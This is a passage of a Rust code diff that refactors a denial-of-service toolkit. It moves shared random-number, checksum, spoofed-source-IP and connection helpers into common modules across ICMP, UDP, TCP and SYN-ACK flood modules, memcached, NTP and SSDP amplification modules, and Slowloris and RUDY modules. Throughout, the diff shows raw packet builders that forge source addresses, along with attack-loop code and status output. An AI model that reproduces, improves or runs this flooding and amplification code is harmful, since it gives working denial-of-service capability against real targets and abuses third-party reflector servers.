sum += u16::from_be_bytes([data[i], 0]) as u32;
}
sum
}
use crate::native::dos_utils::checksum_16;
// ============================================================================
// RAW PACKET BUILDER — Spoofed mode (IP + ICMP)
// ============================================================================
@@ -209,7 +126,7 @@ impl SpoofedPacketBuilder {
let len = self.template.len();
buf[..len].copy_from_slice(&self.template);
let src_ip = gen_ipv4_public(rng);
let src_ip = rng.gen_ipv4_public();
let src_bytes = src_ip.octets();
let ip_id = rng.next_u16();
let icmp_id = rng.next_u16();
@@ -238,7 +155,7 @@ impl SpoofedPacketBuilder {
// Fill payload with random bytes
if self.payload_len > 0 {
rng.fill_bytes(&mut buf[self.payload_offset..self.payload_offset + self.payload_len]);
fill_bytes(rng, &mut buf[self.payload_offset..self.payload_offset + self.payload_len]);
}
// ICMP checksum (over entire ICMP message: header + payload)
@@ -288,7 +205,7 @@ impl IcmpOnlyBuilder {
// Payload: random bytes
if self.payload_size > 0 {
rng.fill_bytes(&mut buf[ICMP_HEADER_LEN..len]);
fill_bytes(rng, &mut buf[ICMP_HEADER_LEN..len]);
}
// ICMP checksum
@@ -543,11 +460,8 @@ async fn gather_config(initial_target: &str) -> Result<IcmpFloodConfig> {
payload_size = MAX_ICMP_PAYLOAD;
}
let spoof_ip = cfg_prompt_yes_no(
"spoof_ip",
"Spoof source IP? (requires root, uses IP_HDRINCL)",
false,
).await?;
let global_spoof = crate::native::dos_utils::is_spoof_enabled();
let spoof_ip = cfg_prompt_yes_no("spoof_ip", "Spoof source IP? (requires root)", global_spoof).await?;
let ttl_input = cfg_prompt_default(
"ttl",
@@ -662,7 +576,7 @@ async fn execute_attack(config: IcmpFloodConfig) -> Result<()> {
"[*] Packets: {:>12} | {:>8.2} MB | Rate: {:>10.0} pkt/s | {:>8.2} Mbps ",
pkts, bytes as f64 / (1024.0 * 1024.0), rate, mbps
).dimmed());
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
}
});
@@ -12,8 +12,9 @@ use std::net::{IpAddr, Ipv4Addr, SocketAddr};
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::thread;
use std::time::{Duration, Instant, SystemTime};
use std::time::{Duration, Instant};
use crate::native::dos_utils::FastRng;
use crate::utils::{
normalize_target, cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no,
};
@@ -55,47 +56,6 @@ struct MemcachedAmpConfig {
verbose: bool,
}
// ============================================================================
// FAST RNG (XorShift128+)
// ============================================================================
struct FastRng {
s0: u64,
s1: u64,
}
impl FastRng {
fn with_thread_seed(thread_id: usize) -> Self {
let time_seed = SystemTime::now()
.duration_since(SystemTime::UNIX_EPOCH)
.map(|d| d.as_nanos() as u64)
.unwrap_or(0);
let s0 = time_seed ^ (thread_id as u64).wrapping_mul(0x9E3779B97F4A7C15);
let s1 = time_seed.rotate_left(17) ^ (thread_id as u64).wrapping_mul(0xBF58476D1CE4E5B9);
let mut rng = Self { s0, s1 };
for _ in 0..16 { rng.next_u64(); }
rng
}
#[inline(always)]
fn next_u64(&mut self) -> u64 {
let mut x = self.s0;
let y = self.s1;
self.s0 = y;
x ^= x << 23;
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26);
self.s1.wrapping_add(y)
}
#[inline(always)]
fn next_u16(&mut self) -> u16 { self.next_u64() as u16 }
#[inline(always)]
fn gen_ephemeral_port(&mut self) -> u16 {
(self.next_u16() % 16384) + 49152
}
}
// ============================================================================
// RAW PACKET BUILDER (IP + UDP + Memcached payload)
// ============================================================================
@@ -176,7 +136,7 @@ impl PacketBuilder {
// IP checksum
buf[10] = 0;
buf[11] = 0;
let ip_cksum = Self::checksum_16(&buf[..IPV4_HEADER_LEN]);
let ip_cksum = crate::native::dos_utils::checksum_16(&buf[..IPV4_HEADER_LEN]);
buf[10] = (ip_cksum >> 8) as u8;
buf[11] = ip_cksum as u8;
@@ -192,7 +152,7 @@ impl PacketBuilder {
sum += u16::from_be_bytes([dst_bytes[0], dst_bytes[1]]) as u32;
sum += u16::from_be_bytes([dst_bytes[2], dst_bytes[3]]) as u32;
let udp_data = &buf[IPV4_HEADER_LEN..len];
sum = Self::sum_16(udp_data, sum);
sum = crate::native::dos_utils::sum_16(udp_data, sum);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
@@ -204,34 +164,6 @@ impl PacketBuilder {
len
}
#[inline(always)]
fn checksum_16(data: &[u8]) -> u16 {
let mut sum = Self::sum_16(data, 0);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
!(sum as u16)
}
#[inline(always)]
fn sum_16(data: &[u8], init: u32) -> u32 {
let mut sum = init;
let mut i = 0;
let len = data.len();
while i + 3 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
sum += u16::from_be_bytes([data[i + 2], data[i + 3]]) as u32;
i += 4;
}
if i + 1 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
i += 2;
}
if i < len {
sum += u16::from_be_bytes([data[i], 0]) as u32;
}
sum
}
}
// ============================================================================
@@ -528,7 +460,7 @@ async fn execute_attack(config: MemcachedAmpConfig) -> Result<()> {
"[*] Requests: {:>10} | Sent: {:>8.2} MB | Est. Amplified: {:>10.2} MB | Servers: {} | Rate: {:>8.0} pkt/s ",
pkts, bytes as f64 / (1024.0 * 1024.0), est_amplified_mb, server_count, rate
).dimmed());
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
}
});
+5 -73
View File
@@ -12,8 +12,9 @@ use std::net::{IpAddr, Ipv4Addr, SocketAddr};
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::thread;
use std::time::{Duration, Instant, SystemTime};
use std::time::{Duration, Instant};
use crate::native::dos_utils::FastRng;
use crate::utils::{
normalize_target, cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no,
};
@@ -46,47 +47,6 @@ struct NtpAmpConfig {
verbose: bool,
}
// ============================================================================
// FAST RNG (XorShift128+)
// ============================================================================
struct FastRng {
s0: u64,
s1: u64,
}
impl FastRng {
fn with_thread_seed(thread_id: usize) -> Self {
let time_seed = SystemTime::now()
.duration_since(SystemTime::UNIX_EPOCH)
.map(|d| d.as_nanos() as u64)
.unwrap_or(0);
let s0 = time_seed ^ (thread_id as u64).wrapping_mul(0x9E3779B97F4A7C15);
let s1 = time_seed.rotate_left(17) ^ (thread_id as u64).wrapping_mul(0xBF58476D1CE4E5B9);
let mut rng = Self { s0, s1 };
for _ in 0..16 { rng.next_u64(); }
rng
}
#[inline(always)]
fn next_u64(&mut self) -> u64 {
let mut x = self.s0;
let y = self.s1;
self.s0 = y;
x ^= x << 23;
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26);
self.s1.wrapping_add(y)
}
#[inline(always)]
fn next_u16(&mut self) -> u16 { self.next_u64() as u16 }
#[inline(always)]
fn gen_ephemeral_port(&mut self) -> u16 {
(self.next_u16() % 16384) + 49152
}
}
// ============================================================================
// RAW PACKET BUILDER (IP + UDP + NTP payload)
// ============================================================================
@@ -167,7 +127,7 @@ impl PacketBuilder {
// IP checksum
buf[10] = 0;
buf[11] = 0;
let ip_cksum = Self::checksum_16(&buf[..IPV4_HEADER_LEN]);
let ip_cksum = crate::native::dos_utils::checksum_16(&buf[..IPV4_HEADER_LEN]);
buf[10] = (ip_cksum >> 8) as u8;
buf[11] = ip_cksum as u8;
@@ -183,7 +143,7 @@ impl PacketBuilder {
sum += u16::from_be_bytes([dst_bytes[0], dst_bytes[1]]) as u32;
sum += u16::from_be_bytes([dst_bytes[2], dst_bytes[3]]) as u32;
let udp_data = &buf[IPV4_HEADER_LEN..len];
sum = Self::sum_16(udp_data, sum);
sum = crate::native::dos_utils::sum_16(udp_data, sum);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
@@ -196,34 +156,6 @@ impl PacketBuilder {
len
}
#[inline(always)]
fn checksum_16(data: &[u8]) -> u16 {
let mut sum = Self::sum_16(data, 0);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
!(sum as u16)
}
#[inline(always)]
fn sum_16(data: &[u8], init: u32) -> u32 {
let mut sum = init;
let mut i = 0;
let len = data.len();
while i + 3 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
sum += u16::from_be_bytes([data[i + 2], data[i + 3]]) as u32;
i += 4;
}
if i + 1 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
i += 2;
}
if i < len {
sum += u16::from_be_bytes([data[i], 0]) as u32;
}
sum
}
}
// ============================================================================
@@ -519,7 +451,7 @@ async fn execute_attack(config: NtpAmpConfig) -> Result<()> {
"[*] Requests: {:>10} | Sent: {:>8.2} MB | Est. Amplified: {:>10.2} MB | Servers: {} | Rate: {:>8.0} pkt/s ",
pkts, bytes as f64 / (1024.0 * 1024.0), est_amplified_mb, server_count, rate
).dimmed());
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
}
});
+8 -101
View File
@@ -11,7 +11,8 @@ use std::net::{IpAddr, Ipv4Addr, SocketAddr};
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::thread;
use std::time::{Duration, Instant, SystemTime};
use std::time::{Duration, Instant};
use crate::native::dos_utils::FastRng;
use crate::utils::{
normalize_target, cfg_prompt_default, cfg_prompt_port, cfg_prompt_required, cfg_prompt_yes_no,
};
@@ -56,66 +57,6 @@ pub enum IntervalMode {
DelayMicros(u64),
}
// ============================================================================
// FAST RNG (XorShift128+)
// ============================================================================
struct FastRng {
s0: u64,
s1: u64,
}
impl FastRng {
fn with_thread_seed(thread_id: usize) -> Self {
let time_seed = SystemTime::now()
.duration_since(SystemTime::UNIX_EPOCH)
.map(|d| d.as_nanos() as u64)
.unwrap_or(0);
let s0 = time_seed ^ (thread_id as u64).wrapping_mul(0x9E3779B97F4A7C15);
let s1 = time_seed.rotate_left(17) ^ (thread_id as u64).wrapping_mul(0xBF58476D1CE4E5B9);
let mut rng = Self { s0, s1 };
for _ in 0..16 { rng.next_u64(); }
rng
}
#[inline(always)]
fn next_u64(&mut self) -> u64 {
let mut x = self.s0;
let y = self.s1;
self.s0 = y;
x ^= x << 23;
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26);
self.s1.wrapping_add(y)
}
#[inline(always)]
fn next_u32(&mut self) -> u32 { self.next_u64() as u32 }
#[inline(always)]
fn next_u16(&mut self) -> u16 { self.next_u64() as u16 }
#[inline(always)]
fn gen_ipv4_public(&mut self) -> Ipv4Addr {
loop {
let octets = self.next_u32().to_be_bytes();
match octets[0] {
0 | 10 | 127 => continue,
224..=255 => continue,
172 if (16..=31).contains(&octets[1]) => continue,
192 if octets[1] == 168 => continue,
169 if octets[1] == 254 => continue,
100 if (64..=127).contains(&octets[1]) => continue,
_ => return Ipv4Addr::new(octets[0], octets[1], octets[2], octets[3]),
}
}
}
#[inline(always)]
fn gen_ephemeral_port(&mut self) -> u16 {
(self.next_u16() % 16384) + 49152
}
}
// ============================================================================
// RAW PACKET BUILDER — zero-copy, manual header construction
// ============================================================================
@@ -215,7 +156,7 @@ impl PacketBuilder {
// IP checksum (over 20-byte header only)
buf[10] = 0;
buf[11] = 0;
let ip_cksum = Self::checksum_16(&buf[..IPV4_HEADER_LEN]);
let ip_cksum = crate::native::dos_utils::checksum_16(&buf[..IPV4_HEADER_LEN]);
buf[10] = (ip_cksum >> 8) as u8;
buf[11] = ip_cksum as u8;
@@ -236,7 +177,7 @@ impl PacketBuilder {
sum += u16::from_be_bytes([src_ip[0], src_ip[1]]) as u32;
sum += u16::from_be_bytes([src_ip[2], src_ip[3]]) as u32;
let tcp_data = &buf[IPV4_HEADER_LEN..len];
sum = Self::sum_16(tcp_data, sum);
sum = crate::native::dos_utils::sum_16(tcp_data, sum);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
@@ -247,36 +188,6 @@ impl PacketBuilder {
len
}
#[inline(always)]
fn checksum_16(data: &[u8]) -> u16 {
let mut sum = Self::sum_16(data, 0);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
!(sum as u16)
}
#[inline(always)]
fn sum_16(data: &[u8], init: u32) -> u32 {
let mut sum = init;
let mut i = 0;
let len = data.len();
// Process 4 bytes at a time for speed
while i + 3 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
sum += u16::from_be_bytes([data[i + 2], data[i + 3]]) as u32;
i += 4;
}
if i + 1 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
i += 2;
}
if i < len {
sum += u16::from_be_bytes([data[i], 0]) as u32;
}
sum
}
#[inline]
fn packet_size(&self) -> usize { self.template.len() }
}
@@ -461,11 +372,8 @@ async fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
Some(src_port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port"))?)
};
let use_random_source_ip = cfg_prompt_yes_no(
"spoof_ip",
"Use random (spoofed) source IPs? (requires root)",
false
).await?;
let global_spoof = crate::native::dos_utils::is_spoof_enabled();
let use_random_source_ip = cfg_prompt_yes_no("spoof_ip", "Spoof source IP? (requires root)", global_spoof).await?;
let local_ip_override: Option<Ipv4Addr> = if !use_random_source_ip {
let auto_ip = get_local_ipv4_for(target_ip).unwrap_or(Ipv4Addr::new(127, 0, 0, 1));
@@ -610,7 +518,7 @@ async fn execute_attack(config: ExhaustionConfig) -> Result<()> {
"[*] Packets: {:>12} | {:>8.2} MB | Rate: {:>10.0} pkt/s | {:>6.3} Gbps ",
pkts, bytes as f64 / (1024.0 * 1024.0), rate, gbps
).dimmed());
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
}
});
@@ -639,8 +547,7 @@ async fn execute_attack(config: ExhaustionConfig) -> Result<()> {
}
fn get_local_ipv4_for(target: Ipv4Addr) -> Option<Ipv4Addr> {
use std::net::UdpSocket;
let socket = UdpSocket::bind("0.0.0.0:0").ok()?;
let socket = crate::utils::network::blocking_udp_bind(None).ok()?;
socket.connect(format!("{}:80", target)).ok()?;
match socket.local_addr().ok()?.ip() {
IpAddr::V4(ip) => Some(ip),
+3 -7
View File
@@ -12,7 +12,6 @@ use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::time::Duration;
use tokio::io::AsyncWriteExt;
use tokio::net::TcpStream;
use tokio::sync::Semaphore;
use tokio::time::Instant;
@@ -279,7 +278,7 @@ async fn execute_attack(config: RudyConfig) -> Result<()> {
"[*] Active: {:>5} | Opened: {:>7} | Dripped: {:>10} B | Dropped: {:>7} | Reconn: {:>7} | {}s ",
active, opened, drip, drops, reconns, elapsed
).dimmed());
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
}
});
@@ -322,11 +321,8 @@ async fn open_rudy_connection(
dripped: &AtomicU64,
) -> Result<()> {
let addr = format!("{}:{}", config.target_host, config.target_port);
let tcp = tokio::time::timeout(
Duration::from_secs(10),
TcpStream::connect(&addr),
).await
.context("Connection timed out")?
let tcp = crate::utils::network::tcp_connect(&addr, Duration::from_secs(10))
.await
.context("Failed to connect")?;
let ua = USER_AGENTS[ua_idx];
+3 -7
View File
@@ -10,7 +10,6 @@ use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::time::Duration;
use tokio::io::AsyncWriteExt;
use tokio::net::TcpStream;
use tokio::sync::Semaphore;
use tokio::time::Instant;
@@ -241,7 +240,7 @@ async fn execute_attack(config: SlowlorisConfig) -> Result<()> {
"[*] Active: {:>6} | Opened: {:>8} | Dropped: {:>8} | Reconnects: {:>8} | Elapsed: {}s ",
active, opened, drops, reconns, elapsed
).dimmed());
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
}
});
@@ -276,11 +275,8 @@ async fn execute_attack(config: SlowlorisConfig) -> Result<()> {
/// drip-feeds keep-alive headers until the connection drops or stop is signaled.
async fn open_slowloris_connection(config: &SlowlorisConfig, ua_idx: usize) -> Result<()> {
let addr = format!("{}:{}", config.target_host, config.target_port);
let tcp = tokio::time::timeout(
Duration::from_secs(10),
TcpStream::connect(&addr),
).await
.context("Connection timed out")?
let tcp = crate::utils::network::tcp_connect(&addr, Duration::from_secs(10))
.await
.context("Failed to connect")?;
let ua = USER_AGENTS[ua_idx];
+5 -73
View File
@@ -12,8 +12,9 @@ use std::net::{IpAddr, Ipv4Addr, SocketAddr};
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::thread;
use std::time::{Duration, Instant, SystemTime};
use std::time::{Duration, Instant};
use crate::native::dos_utils::FastRng;
use crate::utils::{
normalize_target, cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no,
};
@@ -56,47 +57,6 @@ struct SsdpAmpConfig {
verbose: bool,
}
// ============================================================================
// FAST RNG (XorShift128+)
// ============================================================================
struct FastRng {
s0: u64,
s1: u64,
}
impl FastRng {
fn with_thread_seed(thread_id: usize) -> Self {
let time_seed = SystemTime::now()
.duration_since(SystemTime::UNIX_EPOCH)
.map(|d| d.as_nanos() as u64)
.unwrap_or(0);
let s0 = time_seed ^ (thread_id as u64).wrapping_mul(0x9E3779B97F4A7C15);
let s1 = time_seed.rotate_left(17) ^ (thread_id as u64).wrapping_mul(0xBF58476D1CE4E5B9);
let mut rng = Self { s0, s1 };
for _ in 0..16 { rng.next_u64(); }
rng
}
#[inline(always)]
fn next_u64(&mut self) -> u64 {
let mut x = self.s0;
let y = self.s1;
self.s0 = y;
x ^= x << 23;
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26);
self.s1.wrapping_add(y)
}
#[inline(always)]
fn next_u16(&mut self) -> u16 { self.next_u64() as u16 }
#[inline(always)]
fn gen_ephemeral_port(&mut self) -> u16 {
(self.next_u16() % 16384) + 49152
}
}
// ============================================================================
// RAW PACKET BUILDER (IP + UDP + SSDP M-SEARCH payload)
// ============================================================================
@@ -177,7 +137,7 @@ impl PacketBuilder {
// IP checksum
buf[10] = 0;
buf[11] = 0;
let ip_cksum = Self::checksum_16(&buf[..IPV4_HEADER_LEN]);
let ip_cksum = crate::native::dos_utils::checksum_16(&buf[..IPV4_HEADER_LEN]);
buf[10] = (ip_cksum >> 8) as u8;
buf[11] = ip_cksum as u8;
@@ -193,7 +153,7 @@ impl PacketBuilder {
sum += u16::from_be_bytes([dst_bytes[0], dst_bytes[1]]) as u32;
sum += u16::from_be_bytes([dst_bytes[2], dst_bytes[3]]) as u32;
let udp_data = &buf[IPV4_HEADER_LEN..len];
sum = Self::sum_16(udp_data, sum);
sum = crate::native::dos_utils::sum_16(udp_data, sum);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
@@ -205,34 +165,6 @@ impl PacketBuilder {
len
}
#[inline(always)]
fn checksum_16(data: &[u8]) -> u16 {
let mut sum = Self::sum_16(data, 0);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
!(sum as u16)
}
#[inline(always)]
fn sum_16(data: &[u8], init: u32) -> u32 {
let mut sum = init;
let mut i = 0;
let len = data.len();
while i + 3 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
sum += u16::from_be_bytes([data[i + 2], data[i + 3]]) as u32;
i += 4;
}
if i + 1 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
i += 2;
}
if i < len {
sum += u16::from_be_bytes([data[i], 0]) as u32;
}
sum
}
}
// ============================================================================
@@ -508,7 +440,7 @@ async fn execute_attack(config: SsdpAmpConfig) -> Result<()> {
"[*] Requests: {:>10} | Sent: {:>8.2} MB | Est. Amplified: {:>10.2} MB | Targets: {} | Rate: {:>8.0} pkt/s ",
pkts, bytes as f64 / (1024.0 * 1024.0), est_amplified_mb, target_count, rate
).dimmed());
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
}
});
+5 -76
View File
@@ -12,8 +12,9 @@ use std::net::{IpAddr, Ipv4Addr, SocketAddr};
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::thread;
use std::time::{Duration, Instant, SystemTime};
use std::time::{Duration, Instant};
use crate::native::dos_utils::FastRng;
use crate::utils::{
normalize_target, cfg_prompt_default, cfg_prompt_port, cfg_prompt_required, cfg_prompt_yes_no,
};
@@ -62,50 +63,6 @@ struct SynAckFloodConfig {
verbose: bool,
}
// ============================================================================
// FAST RNG (XorShift128+) — same as null_syn_exhaustion
// ============================================================================
struct FastRng {
s0: u64,
s1: u64,
}
impl FastRng {
fn with_thread_seed(thread_id: usize) -> Self {
let time_seed = SystemTime::now()
.duration_since(SystemTime::UNIX_EPOCH)
.map(|d| d.as_nanos() as u64)
.unwrap_or(0);
let s0 = time_seed ^ (thread_id as u64).wrapping_mul(0x9E3779B97F4A7C15);
let s1 = time_seed.rotate_left(17) ^ (thread_id as u64).wrapping_mul(0xBF58476D1CE4E5B9);
let mut rng = Self { s0, s1 };
for _ in 0..16 { rng.next_u64(); }
rng
}
#[inline(always)]
fn next_u64(&mut self) -> u64 {
let mut x = self.s0;
let y = self.s1;
self.s0 = y;
x ^= x << 23;
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26);
self.s1.wrapping_add(y)
}
#[inline(always)]
fn next_u32(&mut self) -> u32 { self.next_u64() as u32 }
#[inline(always)]
fn next_u16(&mut self) -> u16 { self.next_u64() as u16 }
#[inline(always)]
fn gen_ephemeral_port(&mut self) -> u16 {
(self.next_u16() % 16384) + 49152
}
}
// ============================================================================
// RAW PACKET BUILDER
// ============================================================================
@@ -184,7 +141,7 @@ impl PacketBuilder {
// IP checksum
buf[10] = 0;
buf[11] = 0;
let ip_cksum = Self::checksum_16(&buf[..IPV4_HEADER_LEN]);
let ip_cksum = crate::native::dos_utils::checksum_16(&buf[..IPV4_HEADER_LEN]);
buf[10] = (ip_cksum >> 8) as u8;
buf[11] = ip_cksum as u8;
@@ -205,7 +162,7 @@ impl PacketBuilder {
sum += u16::from_be_bytes([dst_bytes[0], dst_bytes[1]]) as u32;
sum += u16::from_be_bytes([dst_bytes[2], dst_bytes[3]]) as u32;
let tcp_data = &buf[IPV4_HEADER_LEN..len];
sum = Self::sum_16(tcp_data, sum);
sum = crate::native::dos_utils::sum_16(tcp_data, sum);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
@@ -216,34 +173,6 @@ impl PacketBuilder {
len
}
#[inline(always)]
fn checksum_16(data: &[u8]) -> u16 {
let mut sum = Self::sum_16(data, 0);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
!(sum as u16)
}
#[inline(always)]
fn sum_16(data: &[u8], init: u32) -> u32 {
let mut sum = init;
let mut i = 0;
let len = data.len();
while i + 3 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
sum += u16::from_be_bytes([data[i + 2], data[i + 3]]) as u32;
i += 4;
}
if i + 1 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
i += 2;
}
if i < len {
sum += u16::from_be_bytes([data[i], 0]) as u32;
}
sum
}
}
// ============================================================================
@@ -524,7 +453,7 @@ async fn execute_attack(config: SynAckFloodConfig) -> Result<()> {
"[*] SYNs Sent: {:>10} | Est. Reflected SYN-ACKs: {:>10} | Reflectors: {} | Rate: {:>8.0} pkt/s | {:>6.2} MB ",
pkts, estimated_reflected, reflector_count, rate, bytes as f64 / (1024.0 * 1024.0)
).dimmed());
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
}
});
@@ -6,7 +6,6 @@ use std::sync::atomic::{AtomicBool, AtomicU64, AtomicUsize, Ordering};
use std::sync::Arc;
use std::time::Duration;
use std::net::SocketAddr;
use tokio::net::TcpStream;
use tokio::time::Instant;
use crate::utils::{
normalize_target, cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no,
@@ -232,7 +231,7 @@ async fn execute_flood(config: &TcpFloodConfig) -> Result<()> {
est, fail, rate
).dimmed());
use std::io::Write;
if let Err(e) = std::io::stdout().flush() { eprintln!("[!] Stdout flush error: {}", e); }
if let Err(e) = std::io::stdout().flush() { crate::meprintln!("[!] Stdout flush error: {}", e); }
}
});
@@ -261,8 +260,8 @@ async fn execute_flood(config: &TcpFloodConfig) -> Result<()> {
// Try to connect using the pre-resolved IP
// This skips DNS resolution on every attempt
match tokio::time::timeout(cfg_timeout, TcpStream::connect(target)).await {
Ok(Ok(mut stream)) => {
match crate::utils::network::tcp_connect_addr(target, cfg_timeout).await {
Ok(mut stream) => {
// Connected!
est.fetch_add(1, Ordering::Relaxed);
@@ -286,8 +285,8 @@ async fn execute_flood(config: &TcpFloodConfig) -> Result<()> {
if let Err(e) = stream.shutdown().await { crate::meprintln!("[!] Shutdown error: {}", e); }
}
}
Ok(Err(e)) => {
// Connection failed (refused, network unreachable, etc.)
Err(e) => {
// Connection failed (refused, network unreachable, timeout, etc.)
fail.fetch_add(1, Ordering::Relaxed);
if verbose {
err_counter = err_counter.wrapping_add(1);
@@ -297,10 +296,6 @@ async fn execute_flood(config: &TcpFloodConfig) -> Result<()> {
}
}
}
Err(_) => {
// Timeout
fail.fetch_add(1, Ordering::Relaxed);
}
}
// No sleep - max speed
}
+25 -112
View File
@@ -8,12 +8,13 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use socket2::{Domain, Protocol, Socket, Type};
use std::net::{IpAddr, Ipv4Addr, SocketAddr, UdpSocket};
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::thread;
use std::time::{Duration, Instant, SystemTime};
use std::time::{Duration, Instant};
use crate::native::dos_utils::FastRng;
use crate::utils::{
normalize_target, cfg_prompt_default, cfg_prompt_port, cfg_prompt_required, cfg_prompt_yes_no,
};
@@ -56,60 +57,19 @@ struct UdpFloodConfig {
verbose: bool,
}
// ============================================================================
// FAST RNG (XorShift128+)
// ============================================================================
struct FastRng {
s0: u64,
s1: u64,
}
impl FastRng {
fn with_thread_seed(thread_id: usize) -> Self {
let time_seed = SystemTime::now()
.duration_since(SystemTime::UNIX_EPOCH)
.map(|d| d.as_nanos() as u64)
.unwrap_or(0);
let s0 = time_seed ^ (thread_id as u64).wrapping_mul(0x9E3779B97F4A7C15);
let s1 = time_seed.rotate_left(17) ^ (thread_id as u64).wrapping_mul(0xBF58476D1CE4E5B9);
let mut rng = Self { s0, s1 };
for _ in 0..16 { rng.next_u64(); }
rng
/// Fill a buffer with pseudo-random bytes from the given RNG.
#[inline]
fn fill_bytes(rng: &mut FastRng, buf: &mut [u8]) {
let mut i = 0;
while i + 8 <= buf.len() {
let val = rng.next_u64().to_le_bytes();
buf[i..i + 8].copy_from_slice(&val);
i += 8;
}
#[inline(always)]
fn next_u64(&mut self) -> u64 {
let mut x = self.s0;
let y = self.s1;
self.s0 = y;
x ^= x << 23;
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26);
self.s1.wrapping_add(y)
}
#[inline(always)]
fn next_u16(&mut self) -> u16 { self.next_u64() as u16 }
#[inline(always)]
fn gen_ephemeral_port(&mut self) -> u16 {
(self.next_u16() % 16384) + 49152
}
/// Fill a buffer with pseudo-random bytes.
#[inline]
fn fill_bytes(&mut self, buf: &mut [u8]) {
let mut i = 0;
while i + 8 <= buf.len() {
let val = self.next_u64().to_le_bytes();
buf[i..i + 8].copy_from_slice(&val);
i += 8;
}
if i < buf.len() {
let val = self.next_u64().to_le_bytes();
let remaining = buf.len() - i;
buf[i..].copy_from_slice(&val[..remaining]);
}
if i < buf.len() {
let val = rng.next_u64().to_le_bytes();
let remaining = buf.len() - i;
buf[i..].copy_from_slice(&val[..remaining]);
}
}
@@ -201,7 +161,7 @@ impl PacketBuilder {
buf[..len].copy_from_slice(&self.template);
// Random spoofed source IP (avoid reserved ranges)
let src_ip = gen_ipv4_public(rng);
let src_ip = rng.gen_ipv4_public();
let src_bytes = src_ip.octets();
let src_port = rng.gen_ephemeral_port();
let ip_id = rng.next_u16();
@@ -217,7 +177,7 @@ impl PacketBuilder {
// IP checksum
buf[10] = 0;
buf[11] = 0;
let ip_cksum = Self::checksum_16(&buf[..IPV4_HEADER_LEN]);
let ip_cksum = crate::native::dos_utils::checksum_16(&buf[..IPV4_HEADER_LEN]);
buf[10] = (ip_cksum >> 8) as u8;
buf[11] = ip_cksum as u8;
@@ -227,7 +187,7 @@ impl PacketBuilder {
// Fill random payload if needed
